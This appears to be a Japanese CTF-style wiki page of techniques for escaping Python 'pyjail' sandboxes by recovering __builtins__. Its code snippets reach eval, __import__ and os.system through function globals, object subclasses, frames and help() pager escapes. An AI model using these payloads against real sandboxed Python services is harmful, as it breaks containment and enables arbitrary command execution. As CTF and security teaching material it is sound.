pyjail wiki

Builtins Recovery

Jan 11, 2024

Overview

多くのpyjailは __builtins__ を削除または制限する。ここでは様々な方法でbuiltinsを復元する手法を解説する。

__globals__ からの復元

関数オブジェクトは __globals__ 属性を持ち、そこから __builtins__ にアクセスできる。

# 任意の関数から
(lambda: 0).__globals__['__builtins__']
# 定義済み関数から
print.__globals__['__builtins__']

クラスメソッド経由

# __init__ メソッドから
[].__class__.__init__.__globals__['__builtins__']
# 任意のクラスの任意のメソッドから
str.join.__globals__ # 失敗: built-in method
str.__dict__['__add__'].__globals__ # 失敗: wrapper_descriptor

sys.modules からの復元

sys.modules は読み込まれた全モジュールの辞書。

# sys モジュールにアクセスできれば
import sys
sys.modules['builtins']
# __import__ が使えれば
__import__('sys').modules['builtins']

サブクラス経由での復元

# _wrap_close から os モジュール取得
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']
# warnings.catch_warnings から
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__

__spec__ からの復元

モジュールオブジェクトの __spec__.loader から。

# __loader__ 属性から
__loader__.__class__.__bases__[0].__subclasses__()[0]

frame オブジェクト経由

# generator の gi_frame から
(x for x in []).gi_frame.f_builtins
# sys._getframe() が使えれば
sys._getframe().f_builtins

特殊なケース

help() から pdb 経由

# help() の pager を利用
help()
# (help内で) !import os; os.system('id')

license() 経由

license()
# ページャーから脱出

builtins 辞書の直接参照

# builtins が dict として残っている場合
__builtins__['eval']('__import__("os").system("id")')
# モジュールとして残っている場合
__builtins__.__dict__['eval']('__import__("os").system("id")')

よく使われる builtins

関数用途
evalコード実行
execコード実行
__import__モジュールインポート
openファイル読み書き
compileコードオブジェクト作成
getattr属性アクセス
setattr属性設定

Tips

  • __builtins__ はモジュール内では辞書、対話モードではモジュールオブジェクト
  • dir() でアクセス可能な属性を確認
  • vars()__dict__ にアクセス